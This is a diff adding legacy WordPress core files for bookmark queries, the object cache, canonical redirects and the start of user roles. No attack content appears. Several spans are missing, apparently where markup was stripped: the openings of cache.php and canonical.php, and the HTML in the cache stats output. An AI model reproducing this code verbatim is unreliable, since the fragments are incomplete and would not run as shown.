sanitize_bookmark_field($field, $bookmark->$field, $bookmark->link_id, $context); +} + +/** + * Retrieve bookmark data based on ID. + * + * @since 2.0.0 + * @deprecated Use get_bookmark() + * @see get_bookmark() + * + * @param int $bookmark_id ID of link + * @param string $output Either OBJECT, ARRAY_N, or ARRAY_A + * @return object|array + */ +function get_link($bookmark_id, $output = OBJECT, $filter = 'raw') { + return get_bookmark($bookmark_id, $output, $filter); +} + +/** + * Retrieves the list of bookmarks + * + * Attempts to retrieve from the cache first based on MD5 hash of arguments. If + * that fails, then the query will be built from the arguments and executed. The + * results will be stored to the cache. + * + * List of default arguments are as follows: + * 'orderby' - Default is 'name' (string). How to order the links by. String is + * based off of the bookmark scheme. + * 'order' - Default is 'ASC' (string). Either 'ASC' or 'DESC'. Orders in either + * ascending or descending order. + * 'limit' - Default is -1 (integer) or show all. The amount of bookmarks to + * display. + * 'category' - Default is empty string (string). Include the links in what + * category ID(s). + * 'category_name' - Default is empty string (string). Get links by category + * name. + * 'hide_invisible' - Default is 1 (integer). Whether to show (default) or hide + * links marked as 'invisible'. + * 'show_updated' - Default is 0 (integer). Will show the time of when the + * bookmark was last updated. + * 'include' - Default is empty string (string). Include other categories + * separated by commas. + * 'exclude' - Default is empty string (string). Exclude other categories + * separated by commas. + * + * @since 2.1.0 + * @uses $wpdb Database Object + * @link http://codex.wordpress.org/Template_Tags/get_bookmarks + * + * @param string|array $args List of arguments to overwrite the defaults + * @return array List of bookmark row objects + */ +function get_bookmarks($args = '') { + global $wpdb; + + $defaults = array( + 'orderby' => 'name', 'order' => 'ASC', + 'limit' => -1, 'category' => '', + 'category_name' => '', 'hide_invisible' => 1, + 'show_updated' => 0, 'include' => '', + 'exclude' => '', 'search' => '' + ); + + $r = wp_parse_args( $args, $defaults ); + extract( $r, EXTR_SKIP ); + + $cache = array(); + $key = md5( serialize( $r ) ); + if ( $cache = wp_cache_get( 'get_bookmarks', 'bookmark' ) ) { + if ( is_array($cache) && isset( $cache[ $key ] ) ) + return apply_filters('get_bookmarks', $cache[ $key ], $r ); + } + + if ( !is_array($cache) ) + $cache = array(); + + $inclusions = ''; + if ( !empty($include) ) { + $exclude = ''; //ignore exclude, category, and category_name params if using include + $category = ''; + $category_name = ''; + $inclinks = preg_split('/[\s,]+/',$include); + if ( count($inclinks) ) { + foreach ( $inclinks as $inclink ) { + if (empty($inclusions)) + $inclusions = ' AND ( link_id = ' . intval($inclink) . ' '; + else + $inclusions .= ' OR link_id = ' . intval($inclink) . ' '; + } + } + } + if (!empty($inclusions)) + $inclusions .= ')'; + + $exclusions = ''; + if ( !empty($exclude) ) { + $exlinks = preg_split('/[\s,]+/',$exclude); + if ( count($exlinks) ) { + foreach ( $exlinks as $exlink ) { + if (empty($exclusions)) + $exclusions = ' AND ( link_id <> ' . intval($exlink) . ' '; + else + $exclusions .= ' AND link_id <> ' . intval($exlink) . ' '; + } + } + } + if (!empty($exclusions)) + $exclusions .= ')'; + + if ( !empty($category_name) ) { + if ( $category = get_term_by('name', $category_name, 'link_category') ) { + $category = $category->term_id; + } else { + $cache[ $key ] = array(); + wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); + return apply_filters( 'get_bookmarks', array(), $r ); + } + } + + if ( ! empty($search) ) { + $search = like_escape($search); + $search = " AND ( (link_url LIKE '%$search%') OR (link_name LIKE '%$search%') OR (link_description LIKE '%$search%') ) "; + } + + $category_query = ''; + $join = ''; + if ( !empty($category) ) { + $incategories = preg_split('/[\s,]+/',$category); + if ( count($incategories) ) { + foreach ( $incategories as $incat ) { + if (empty($category_query)) + $category_query = ' AND ( tt.term_id = ' . intval($incat) . ' '; + else + $category_query .= ' OR tt.term_id = ' . intval($incat) . ' '; + } + } + } + if (!empty($category_query)) { + $category_query .= ") AND taxonomy = 'link_category'"; + $join = " INNER JOIN $wpdb->term_relationships AS tr ON ($wpdb->links.link_id = tr.object_id) INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_taxonomy_id = tr.term_taxonomy_id"; + } + + if ( $show_updated && get_option('links_recently_updated_time') ) { + $recently_updated_test = ", IF (DATE_ADD(link_updated, INTERVAL " . get_option('links_recently_updated_time') . " MINUTE) >= NOW(), 1,0) as recently_updated "; + } else { + $recently_updated_test = ''; + } + + $get_updated = ( $show_updated ) ? ', UNIX_TIMESTAMP(link_updated) AS link_updated_f ' : ''; + + $orderby = strtolower($orderby); + $length = ''; + switch ($orderby) { + case 'length': + $length = ", CHAR_LENGTH(link_name) AS length"; + break; + case 'rand': + $orderby = 'rand()'; + break; + default: + $orderby = "link_" . $orderby; + } + + if ( 'link_id' == $orderby ) + $orderby = "$wpdb->links.link_id"; + + $visible = ''; + if ( $hide_invisible ) + $visible = "AND link_visible = 'Y'"; + + $query = "SELECT * $length $recently_updated_test $get_updated FROM $wpdb->links $join WHERE 1=1 $visible $category_query"; + $query .= " $exclusions $inclusions $search"; + $query .= " ORDER BY $orderby $order"; + if ($limit != -1) + $query .= " LIMIT $limit"; + + $results = $wpdb->get_results($query); + + $cache[ $key ] = $results; + wp_cache_set( 'get_bookmarks', $cache, 'bookmark' ); + + return apply_filters('get_bookmarks', $results, $r); +} + +/** + * Sanitizes all bookmark fields + * + * @since 2.3.0 + * + * @param object|array $bookmark Bookmark row + * @param string $context Optional, default is 'display'. How to filter the + * fields + * @return object|array Same type as $bookmark but with fields sanitized. + */ +function sanitize_bookmark($bookmark, $context = 'display') { + $fields = array('link_id', 'link_url', 'link_name', 'link_image', 'link_target', 'link_category', + 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_updated', + 'link_rel', 'link_notes', 'link_rss', ); + + if ( is_object($bookmark) ) { + $do_object = true; + $link_id = $bookmark->link_id; + } else { + $do_object = false; + $link_id = $bookmark['link_id']; + } + + foreach ( $fields as $field ) { + if ( $do_object ) { + if ( isset($bookmark->$field) ) + $bookmark->$field = sanitize_bookmark_field($field, $bookmark->$field, $link_id, $context); + } else { + if ( isset($bookmark[$field]) ) + $bookmark[$field] = sanitize_bookmark_field($field, $bookmark[$field], $link_id, $context); + } + } + + return $bookmark; +} + +/** + * Sanitizes a bookmark field + * + * Sanitizes the bookmark fields based on what the field name is. If the field + * has a strict value set, then it will be tested for that, else a more generic + * filtering is applied. After the more strict filter is applied, if the + * $context is 'raw' then the value is immediately return. + * + * Hooks exist for the more generic cases. With the 'edit' context, the + * 'edit_$field' filter will be called and passed the $value and $bookmark_id + * respectively. With the 'db' context, the 'pre_$field' filter is called and + * passed the value. The 'display' context is the final context and has the + * $field has the filter name and is passed the $value, $bookmark_id, and + * $context respectively. + * + * @since 2.3.0 + * + * @param string $field The bookmark field + * @param mixed $value The bookmark field value + * @param int $bookmark_id Bookmark ID + * @param string $context How to filter the field value. Either 'raw', 'edit', + * 'attribute', 'js', 'db', or 'display' + * @return mixed The filtered value + */ +function sanitize_bookmark_field($field, $value, $bookmark_id, $context) { + $int_fields = array('link_id', 'link_rating'); + if ( in_array($field, $int_fields) ) + $value = (int) $value; + + $yesno = array('link_visible'); + if ( in_array($field, $yesno) ) + $value = preg_replace('/[^YNyn]/', '', $value); + + if ( 'link_target' == $field ) { + $targets = array('_top', '_blank'); + if ( ! in_array($value, $targets) ) + $value = ''; + } + + if ( 'raw' == $context ) + return $value; + + if ( 'edit' == $context ) { + $format_to_edit = array('link_notes'); + $value = apply_filters("edit_$field", $value, $bookmark_id); + + if ( in_array($field, $format_to_edit) ) { + $value = format_to_edit($value); + } else { + $value = esc_attr($value); + } + } else if ( 'db' == $context ) { + $value = apply_filters("pre_$field", $value); + } else { + // Use display filters by default. + $value = apply_filters($field, $value, $bookmark_id, $context); + } + + if ( 'attribute' == $context ) + $value = esc_attr($value); + else if ( 'js' == $context ) + $value = esc_js($value); + + return $value; +} + +/** + * Deletes bookmark cache + * + * @since 2.7.0 + * @uses wp_cache_delete() Deletes the contents of 'get_bookmarks' + */ +function clean_bookmark_cache($bookmark_id) { + wp_cache_delete( $bookmark_id, 'bookmark' ); + wp_cache_delete( 'get_bookmarks', 'bookmark' ); +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/cache.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/cache.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,452 @@ +add($key, $data, $flag, $expire); +} + +/** + * Closes the cache. + * + * This function has ceased to do anything since WordPress 2.5. The + * functionality was removed along with the rest of the persistant cache. This + * does not mean that plugins can't implement this function when they need to + * make sure that the cache is cleaned up after WordPress no longer needs it. + * + * @since 2.0.0 + * + * @return bool Always returns True + */ +function wp_cache_close() { + return true; +} + +/** + * Removes the cache contents matching ID and flag. + * + * @since 2.0.0 + * @uses $wp_object_cache Object Cache Class + * @see WP_Object_Cache::delete() + * + * @param int|string $id What the contents in the cache are called + * @param string $flag Where the cache contents are grouped + * @return bool True on successful removal, false on failure + */ +function wp_cache_delete($id, $flag = '') { + global $wp_object_cache; + + return $wp_object_cache->delete($id, $flag); +} + +/** + * Removes all cache items. + * + * @since 2.0.0 + * @uses $wp_object_cache Object Cache Class + * @see WP_Object_Cache::flush() + * + * @return bool Always returns true + */ +function wp_cache_flush() { + global $wp_object_cache; + + return $wp_object_cache->flush(); +} + +/** + * Retrieves the cache contents from the cache by ID and flag. + * + * @since 2.0.0 + * @uses $wp_object_cache Object Cache Class + * @see WP_Object_Cache::get() + * + * @param int|string $id What the contents in the cache are called + * @param string $flag Where the cache contents are grouped + * @return bool|mixed False on failure to retrieve contents or the cache + * contents on success + */ +function wp_cache_get($id, $flag = '') { + global $wp_object_cache; + + return $wp_object_cache->get($id, $flag); +} + +/** + * Sets up Object Cache Global and assigns it. + * + * @since 2.0.0 + * @global WP_Object_Cache $wp_object_cache WordPress Object Cache + */ +function wp_cache_init() { + $GLOBALS['wp_object_cache'] =& new WP_Object_Cache(); +} + +/** + * Replaces the contents of the cache with new data. + * + * @since 2.0.0 + * @uses $wp_object_cache Object Cache Class + * @see WP_Object_Cache::replace() + * + * @param int|string $id What to call the contents in the cache + * @param mixed $data The contents to store in the cache + * @param string $flag Where to group the cache contents + * @param int $expire When to expire the cache contents + * @return bool False if cache ID and group already exists, true on success + */ +function wp_cache_replace($key, $data, $flag = '', $expire = 0) { + global $wp_object_cache; + + return $wp_object_cache->replace($key, $data, $flag, $expire); +} + +/** + * Saves the data to the cache. + * + * @since 2.0 + * @uses $wp_object_cache Object Cache Class + * @see WP_Object_Cache::set() + * + * @param int|string $id What to call the contents in the cache + * @param mixed $data The contents to store in the cache + * @param string $flag Where to group the cache contents + * @param int $expire When to expire the cache contents + * @return bool False if cache ID and group already exists, true on success + */ +function wp_cache_set($key, $data, $flag = '', $expire = 0) { + global $wp_object_cache; + + return $wp_object_cache->set($key, $data, $flag, $expire); +} + +/** + * Adds a group or set of groups to the list of global groups. + * + * @since 2.6.0 + * + * @param string|array $groups A group or an array of groups to add + */ +function wp_cache_add_global_groups( $groups ) { + // Default cache doesn't persist so nothing to do here. + return; +} + +/** + * Adds a group or set of groups to the list of non-persistent groups. + * + * @since 2.6.0 + * + * @param string|array $groups A group or an array of groups to add + */ +function wp_cache_add_non_persistent_groups( $groups ) { + // Default cache doesn't persist so nothing to do here. + return; +} + +/** + * WordPress Object Cache + * + * The WordPress Object Cache is used to save on trips to the database. The + * Object Cache stores all of the cache data to memory and makes the cache + * contents available by using a key, which is used to name and later retrieve + * the cache contents. + * + * The Object Cache can be replaced by other caching mechanisms by placing files + * in the wp-content folder which is looked at in wp-settings. If that file + * exists, then this file will not be included. + * + * @package WordPress + * @subpackage Cache + * @since 2.0 + */ +class WP_Object_Cache { + + /** + * Holds the cached objects + * + * @var array + * @access private + * @since 2.0.0 + */ + var $cache = array (); + + /** + * Cache objects that do not exist in the cache + * + * @var array + * @access private + * @since 2.0.0 + */ + var $non_existant_objects = array (); + + /** + * The amount of times the cache data was already stored in the cache. + * + * @since 2.5.0 + * @access private + * @var int + */ + var $cache_hits = 0; + + /** + * Amount of times the cache did not have the request in cache + * + * @var int + * @access public + * @since 2.0.0 + */ + var $cache_misses = 0; + + /** + * Adds data to the cache if it doesn't already exist. + * + * @uses WP_Object_Cache::get Checks to see if the cache already has data. + * @uses WP_Object_Cache::set Sets the data after the checking the cache + * contents existance. + * + * @since 2.0.0 + * + * @param int|string $id What to call the contents in the cache + * @param mixed $data The contents to store in the cache + * @param string $group Where to group the cache contents + * @param int $expire When to expire the cache contents + * @return bool False if cache ID and group already exists, true on success + */ + function add($id, $data, $group = 'default', $expire = '') { + if (empty ($group)) + $group = 'default'; + + if (false !== $this->get($id, $group, false)) + return false; + + return $this->set($id, $data, $group, $expire); + } + + /** + * Remove the contents of the cache ID in the group + * + * If the cache ID does not exist in the group and $force parameter is set + * to false, then nothing will happen. The $force parameter is set to false + * by default. + * + * On success the group and the id will be added to the + * $non_existant_objects property in the class. + * + * @since 2.0.0 + * + * @param int|string $id What the contents in the cache are called + * @param string $group Where the cache contents are grouped + * @param bool $force Optional. Whether to force the unsetting of the cache + * ID in the group + * @return bool False if the contents weren't deleted and true on success + */ + function delete($id, $group = 'default', $force = false) { + if (empty ($group)) + $group = 'default'; + + if (!$force && false === $this->get($id, $group, false)) + return false; + + unset ($this->cache[$group][$id]); + $this->non_existant_objects[$group][$id] = true; + return true; + } + + /** + * Clears the object cache of all data + * + * @since 2.0.0 + * + * @return bool Always returns true + */ + function flush() { + $this->cache = array (); + + return true; + } + + /** + * Retrieves the cache contents, if it exists + * + * The contents will be first attempted to be retrieved by searching by the + * ID in the cache group. If the cache is hit (success) then the contents + * are returned. + * + * On failure, the $non_existant_objects property is checked and if the + * cache group and ID exist in there the cache misses will not be + * incremented. If not in the nonexistant objects property, then the cache + * misses will be incremented and the cache group and ID will be added to + * the nonexistant objects. + * + * @since 2.0.0 + * + * @param int|string $id What the contents in the cache are called + * @param string $group Where the cache contents are grouped + * @return bool|mixed False on failure to retrieve contents or the cache + * contents on success + */ + function get($id, $group = 'default') { + if (empty ($group)) + $group = 'default'; + + if (isset ($this->cache[$group][$id])) { + $this->cache_hits += 1; + if ( is_object($this->cache[$group][$id]) ) + return wp_clone($this->cache[$group][$id]); + else + return $this->cache[$group][$id]; + } + + if ( isset ($this->non_existant_objects[$group][$id]) ) + return false; + + $this->non_existant_objects[$group][$id] = true; + $this->cache_misses += 1; + return false; + } + + /** + * Replace the contents in the cache, if contents already exist + * + * @since 2.0.0 + * @see WP_Object_Cache::set() + * + * @param int|string $id What to call the contents in the cache + * @param mixed $data The contents to store in the cache + * @param string $group Where to group the cache contents + * @param int $expire When to expire the cache contents + * @return bool False if not exists, true if contents were replaced + */ + function replace($id, $data, $group = 'default', $expire = '') { + if (empty ($group)) + $group = 'default'; + + if (false === $this->get($id, $group, false)) + return false; + + return $this->set($id, $data, $group, $expire); + } + + /** + * Sets the data contents into the cache + * + * The cache contents is grouped by the $group parameter followed by the + * $id. This allows for duplicate ids in unique groups. Therefore, naming of + * the group should be used with care and should follow normal function + * naming guidelines outside of core WordPress usage. + * + * The $expire parameter is not used, because the cache will automatically + * expire for each time a page is accessed and PHP finishes. The method is + * more for cache plugins which use files. + * + * @since 2.0.0 + * + * @param int|string $id What to call the contents in the cache + * @param mixed $data The contents to store in the cache + * @param string $group Where to group the cache contents + * @param int $expire Not Used + * @return bool Always returns true + */ + function set($id, $data, $group = 'default', $expire = '') { + if (empty ($group)) + $group = 'default'; + + if (NULL === $data) + $data = ''; + + if ( is_object($data) ) + $data = wp_clone($data); + + $this->cache[$group][$id] = $data; + + if(isset($this->non_existant_objects[$group][$id])) + unset ($this->non_existant_objects[$group][$id]); + + return true; + } + + /** + * Echos the stats of the caching. + * + * Gives the cache hits, and cache misses. Also prints every cached group, + * key and the data. + * + * @since 2.0.0 + */ + function stats() { + echo "

    "; + echo "Cache Hits: {$this->cache_hits}
    "; + echo "Cache Misses: {$this->cache_misses}
    "; + echo "

    "; + + foreach ($this->cache as $group => $cache) { + echo "

    "; + echo "Group: $group
    "; + echo "Cache:"; + echo "

    ";
    +			print_r($cache);
    +			echo "
    "; + } + } + + /** + * PHP4 constructor; Calls PHP 5 style constructor + * + * @since 2.0.0 + * + * @return WP_Object_Cache + */ + function WP_Object_Cache() { + return $this->__construct(); + } + + /** + * Sets up object properties; PHP 5 style constructor + * + * @since 2.0.8 + * @return null|WP_Object_Cache If cache is disabled, returns null. + */ + function __construct() { + /** + * @todo This should be moved to the PHP4 style constructor, PHP5 + * already calls __destruct() + */ + register_shutdown_function(array(&$this, "__destruct")); + } + + /** + * Will save the object cache before object is completely destroyed. + * + * Called upon object destruction, which should be when PHP ends. + * + * @since 2.0.8 + * + * @return bool True value. Won't be used by PHP + */ + function __destruct() { + return true; + } +} +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/canonical.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/canonical.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,345 @@ + $wp_query->post_count && ($id = get_query_var('p')) ) { + + $vars = $wpdb->get_results( $wpdb->prepare("SELECT post_type, post_parent FROM $wpdb->posts WHERE ID = %d", $id) ); + + if ( isset($vars[0]) && $vars = $vars[0] ) { + if ( 'revision' == $vars->post_type && $vars->post_parent > 0 ) + $id = $vars->post_parent; + + if ( $redirect_url = get_permalink($id) ) + $redirect['query'] = remove_query_arg(array('p', 'page_id', 'attachment_id'), $redirect['query']); + } + } + + // These tests give us a WP-generated permalink + if ( is_404() ) { + $redirect_url = redirect_guess_404_permalink(); + } elseif ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() ) { + // rewriting of old ?p=X, ?m=2004, ?m=200401, ?m=20040101 + if ( is_attachment() && !empty($_GET['attachment_id']) && ! $redirect_url ) { + if ( $redirect_url = get_attachment_link(get_query_var('attachment_id')) ) + $redirect['query'] = remove_query_arg('attachment_id', $redirect['query']); + } elseif ( is_single() && !empty($_GET['p']) && ! $redirect_url ) { + if ( $redirect_url = get_permalink(get_query_var('p')) ) + $redirect['query'] = remove_query_arg('p', $redirect['query']); + if ( get_query_var( 'page' ) ) { + $redirect_url = trailingslashit( $redirect_url ) . user_trailingslashit( get_query_var( 'page' ), 'single_paged' ); + $redirect['query'] = remove_query_arg( 'page', $redirect['query'] ); + } + } elseif ( is_single() && !empty($_GET['name']) && ! $redirect_url ) { + if ( $redirect_url = get_permalink( $wp_query->get_queried_object_id() ) ) + $redirect['query'] = remove_query_arg('name', $redirect['query']); + } elseif ( is_page() && !empty($_GET['page_id']) && ! $redirect_url ) { + if ( $redirect_url = get_permalink(get_query_var('page_id')) ) + $redirect['query'] = remove_query_arg('page_id', $redirect['query']); + } elseif ( !empty($_GET['m']) && ( is_year() || is_month() || is_day() ) ) { + $m = get_query_var('m'); + switch ( strlen($m) ) { + case 4: // Yearly + $redirect_url = get_year_link($m); + break; + case 6: // Monthly + $redirect_url = get_month_link( substr($m, 0, 4), substr($m, 4, 2) ); + break; + case 8: // Daily + $redirect_url = get_day_link(substr($m, 0, 4), substr($m, 4, 2), substr($m, 6, 2)); + break; + } + if ( $redirect_url ) + $redirect['query'] = remove_query_arg('m', $redirect['query']); + // now moving on to non ?m=X year/month/day links + } elseif ( is_day() && get_query_var('year') && get_query_var('monthnum') && !empty($_GET['day']) ) { + if ( $redirect_url = get_day_link(get_query_var('year'), get_query_var('monthnum'), get_query_var('day')) ) + $redirect['query'] = remove_query_arg(array('year', 'monthnum', 'day'), $redirect['query']); + } elseif ( is_month() && get_query_var('year') && !empty($_GET['monthnum']) ) { + if ( $redirect_url = get_month_link(get_query_var('year'), get_query_var('monthnum')) ) + $redirect['query'] = remove_query_arg(array('year', 'monthnum'), $redirect['query']); + } elseif ( is_year() && !empty($_GET['year']) ) { + if ( $redirect_url = get_year_link(get_query_var('year')) ) + $redirect['query'] = remove_query_arg('year', $redirect['query']); + } elseif ( is_category() && !empty($_GET['cat']) && preg_match( '|^[0-9]+$|', $_GET['cat'] ) ) { + if ( $redirect_url = get_category_link(get_query_var('cat')) ) + $redirect['query'] = remove_query_arg('cat', $redirect['query']); + } elseif ( is_author() && !empty($_GET['author']) && preg_match( '|^[0-9]+$|', $_GET['author'] ) ) { + $author = get_userdata(get_query_var('author')); + if ( false !== $author && $redirect_url = get_author_posts_url($author->ID, $author->user_nicename) ) + $redirect['query'] = remove_query_arg('author', $redirect['author']); + } + + // paging and feeds + if ( get_query_var('paged') || is_feed() || get_query_var('cpage') ) { + if ( !$redirect_url ) + $redirect_url = $requested_url; + $paged_redirect = @parse_url($redirect_url); + while ( preg_match( '#/page/[0-9]+?(/+)?$#', $paged_redirect['path'] ) || preg_match( '#/(comments/?)?(feed|rss|rdf|atom|rss2)(/+)?$#', $paged_redirect['path'] ) || preg_match( '#/comment-page-[0-9]+(/+)?$#', $paged_redirect['path'] ) ) { + // Strip off paging and feed + $paged_redirect['path'] = preg_replace('#/page/[0-9]+?(/+)?$#', '/', $paged_redirect['path']); // strip off any existing paging + $paged_redirect['path'] = preg_replace('#/(comments/?)?(feed|rss2?|rdf|atom)(/+|$)#', '/', $paged_redirect['path']); // strip off feed endings + $paged_redirect['path'] = preg_replace('#/comment-page-[0-9]+?(/+)?$#', '/', $paged_redirect['path']); // strip off any existing comment paging + } + + $addl_path = ''; + if ( is_feed() ) { + $addl_path = !empty( $addl_path ) ? trailingslashit($addl_path) : ''; + if ( get_query_var( 'withcomments' ) ) + $addl_path .= 'comments/'; + $addl_path .= user_trailingslashit( 'feed/' . ( ( 'rss2' == get_query_var('feed') || 'feed' == get_query_var('feed') ) ? '' : get_query_var('feed') ), 'feed' ); + $redirect['query'] = remove_query_arg( 'feed', $redirect['query'] ); + } + + if ( get_query_var('paged') > 0 ) { + $paged = get_query_var('paged'); + $redirect['query'] = remove_query_arg( 'paged', $redirect['query'] ); + if ( !is_feed() ) { + if ( $paged > 1 && !is_single() ) { + $addl_path = ( !empty( $addl_path ) ? trailingslashit($addl_path) : '' ) . user_trailingslashit("page/$paged", 'paged'); + } elseif ( !is_single() ) { + $addl_path = ( !empty( $addl_path ) ? trailingslashit($addl_path) : '' ) . user_trailingslashit($paged_redirect['path'], 'paged'); + } + } elseif ( $paged > 1 ) { + $redirect['query'] = add_query_arg( 'paged', $paged, $redirect['query'] ); + } + } + + if ( get_option('page_comments') && ( ( 'newest' == get_option('default_comments_page') && get_query_var('cpage') > 0 ) || ( 'newest' != get_option('default_comments_page') && get_query_var('cpage') > 1 ) ) ) { + $addl_path = ( !empty( $addl_path ) ? trailingslashit($addl_path) : '' ) . user_trailingslashit( 'comment-page-' . get_query_var('cpage'), 'commentpaged' ); + $redirect['query'] = remove_query_arg( 'cpage', $redirect['query'] ); + } + + $paged_redirect['path'] = user_trailingslashit( preg_replace('|/index.php/?$|', '/', $paged_redirect['path']) ); // strip off trailing /index.php/ + if ( !empty( $addl_path ) && $wp_rewrite->using_index_permalinks() && strpos($paged_redirect['path'], '/index.php/') === false ) + $paged_redirect['path'] = trailingslashit($paged_redirect['path']) . 'index.php/'; + if ( !empty( $addl_path ) ) + $paged_redirect['path'] = trailingslashit($paged_redirect['path']) . $addl_path; + $redirect_url = $paged_redirect['scheme'] . '://' . $paged_redirect['host'] . $paged_redirect['path']; + $redirect['path'] = $paged_redirect['path']; + } + } + + // tack on any additional query vars + $redirect['query'] = preg_replace( '#^\??&*?#', '', $redirect['query'] ); + if ( $redirect_url && !empty($redirect['query']) ) { + if ( strpos($redirect_url, '?') !== false ) + $redirect_url .= '&'; + else + $redirect_url .= '?'; + $redirect_url .= $redirect['query']; + } + + if ( $redirect_url ) + $redirect = @parse_url($redirect_url); + + // www.example.com vs example.com + $user_home = @parse_url(get_option('home')); + if ( !empty($user_home['host']) ) + $redirect['host'] = $user_home['host']; + if ( empty($user_home['path']) ) + $user_home['path'] = '/'; + + // Handle ports + if ( !empty($user_home['port']) ) + $redirect['port'] = $user_home['port']; + else + unset($redirect['port']); + + // trailing /index.php + $redirect['path'] = preg_replace('|/index.php/*?$|', '/', $redirect['path']); + + // Remove trailing spaces from the path + $redirect['path'] = preg_replace( '#(%20| )+$#', '', $redirect['path'] ); + + if ( !empty( $redirect['query'] ) ) { + // Remove trailing spaces from certain terminating query string args + $redirect['query'] = preg_replace( '#((p|page_id|cat|tag)=[^&]*?)(%20| )+$#', '$1', $redirect['query'] ); + + // Clean up empty query strings + $redirect['query'] = trim(preg_replace( '#(^|&)(p|page_id|cat|tag)=?(&|$)#', '&', $redirect['query']), '&'); + + // Remove redundant leading ampersands + $redirect['query'] = preg_replace( '#^\??&*?#', '', $redirect['query'] ); + } + + // strip /index.php/ when we're not using PATHINFO permalinks + if ( !$wp_rewrite->using_index_permalinks() ) + $redirect['path'] = str_replace('/index.php/', '/', $redirect['path']); + + // trailing slashes + if ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() && !is_404() && (!is_front_page() || ( is_front_page() && (get_query_var('paged') > 1) ) ) ) { + $user_ts_type = ''; + if ( get_query_var('paged') > 0 ) { + $user_ts_type = 'paged'; + } else { + foreach ( array('single', 'category', 'page', 'day', 'month', 'year', 'home') as $type ) { + $func = 'is_' . $type; + if ( call_user_func($func) ) { + $user_ts_type = $type; + break; + } + } + } + $redirect['path'] = user_trailingslashit($redirect['path'], $user_ts_type); + } elseif ( is_front_page() ) { + $redirect['path'] = trailingslashit($redirect['path']); + } + + // Always trailing slash the Front Page URL + if ( trailingslashit( $redirect['path'] ) == trailingslashit( $user_home['path'] ) ) + $redirect['path'] = trailingslashit($redirect['path']); + + // Ignore differences in host capitalization, as this can lead to infinite redirects + // Only redirect no-www <=> yes-www + if ( strtolower($original['host']) == strtolower($redirect['host']) || + ( strtolower($original['host']) != 'www.' . strtolower($redirect['host']) && 'www.' . strtolower($original['host']) != strtolower($redirect['host']) ) ) + $redirect['host'] = $original['host']; + + $compare_original = array($original['host'], $original['path']); + + if ( !empty( $original['port'] ) ) + $compare_original[] = $original['port']; + + if ( !empty( $original['query'] ) ) + $compare_original[] = $original['query']; + + $compare_redirect = array($redirect['host'], $redirect['path']); + + if ( !empty( $redirect['port'] ) ) + $compare_redirect[] = $redirect['port']; + + if ( !empty( $redirect['query'] ) ) + $compare_redirect[] = $redirect['query']; + + if ( $compare_original !== $compare_redirect ) { + $redirect_url = $redirect['scheme'] . '://' . $redirect['host']; + if ( !empty($redirect['port']) ) + $redirect_url .= ':' . $redirect['port']; + $redirect_url .= $redirect['path']; + if ( !empty($redirect['query']) ) + $redirect_url .= '?' . $redirect['query']; + } + + if ( $redirect_url == $requested_url ) + return false; + + // Note that you can use the "redirect_canonical" filter to cancel a canonical redirect for whatever reason by returning FALSE + $redirect_url = apply_filters('redirect_canonical', $redirect_url, $requested_url); + + if ( !$redirect_url || $redirect_url == $requested_url ) // yes, again -- in case the filter aborted the request + return false; + + if ( $do_redirect ) { + // protect against chained redirects + if ( !redirect_canonical($redirect_url, false) ) { + wp_redirect($redirect_url, 301); + exit(); + } else { + // Debug + // die("1: $redirect_url
    2: " . redirect_canonical( $redirect_url, false ) ); + return false; + } + } else { + return $redirect_url; + } +} + +/** + * Attempts to guess correct post based on query vars. + * + * @since 2.3.0 + * @uses $wpdb + * + * @return bool|string Returns False, if it can't find post, returns correct + * location on success. + */ +function redirect_guess_404_permalink() { + global $wpdb; + + if ( !get_query_var('name') ) + return false; + + $where = $wpdb->prepare("post_name LIKE %s", get_query_var('name') . '%'); + + // if any of year, monthnum, or day are set, use them to refine the query + if ( get_query_var('year') ) + $where .= $wpdb->prepare(" AND YEAR(post_date) = %d", get_query_var('year')); + if ( get_query_var('monthnum') ) + $where .= $wpdb->prepare(" AND MONTH(post_date) = %d", get_query_var('monthnum')); + if ( get_query_var('day') ) + $where .= $wpdb->prepare(" AND DAYOFMONTH(post_date) = %d", get_query_var('day')); + + $post_id = $wpdb->get_var("SELECT ID FROM $wpdb->posts WHERE $where AND post_status = 'publish'"); + if ( !$post_id ) + return false; + return get_permalink($post_id); +} + +add_action('template_redirect', 'redirect_canonical'); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/capabilities.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/capabilities.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1060 @@ + + * array ( + * 'rolename' => array ( + * 'name' => 'rolename', + * 'capabilities' => array() + * ) + * ) + * + * + * @since 2.0.0 + * @package WordPress + * @subpackage User + */ +class WP_Roles { + /** + * List of roles and capabilities. + * + * @since 2.0.0 + * @access public + * @var array + */ + var $roles; + + /** + * List of the role objects. + * + * @since 2.0.0 + * @access public + * @var array + */ + var $role_objects = array(); + + /** + * List of role names. + * + * @since 2.0.0 + * @access public + * @var array + */ + var $role_names = array(); + + /** + * Option name for storing role list. + * + * @since 2.0.0 + * @access public + * @var string + */ + var $role_key; + + /** + * Whether to use the database for retrieval and storage. + * + * @since 2.1.0 + * @access public + * @var bool + */ + var $use_db = true; + + /** + * PHP4 Constructor - Call {@link WP_Roles::_init()} method. + * + * @since 2.0.0 + * @access public + * + * @return WP_Roles + */ + function WP_Roles() { + $this->_init(); + } + + /** + * Setup the object properties. + * + * The role key is set to the current prefix for the $wpdb object with + * 'user_roles' appended. If the $wp_user_roles global is set, then it will + * be used and the role option will not be updated or used. + * + * @since 2.1.0 + * @access protected + * @uses $wpdb Used to get the database prefix. + * @global array $wp_user_roles Used to set the 'roles' property value. + */ + function _init () { + global $wpdb; + global $wp_user_roles; + $this->role_key = $wpdb->prefix . 'user_roles'; + if ( ! empty( $wp_user_roles ) ) { + $this->roles = $wp_user_roles; + $this->use_db = false; + } else { + $this->roles = get_option( $this->role_key ); + } + + if ( empty( 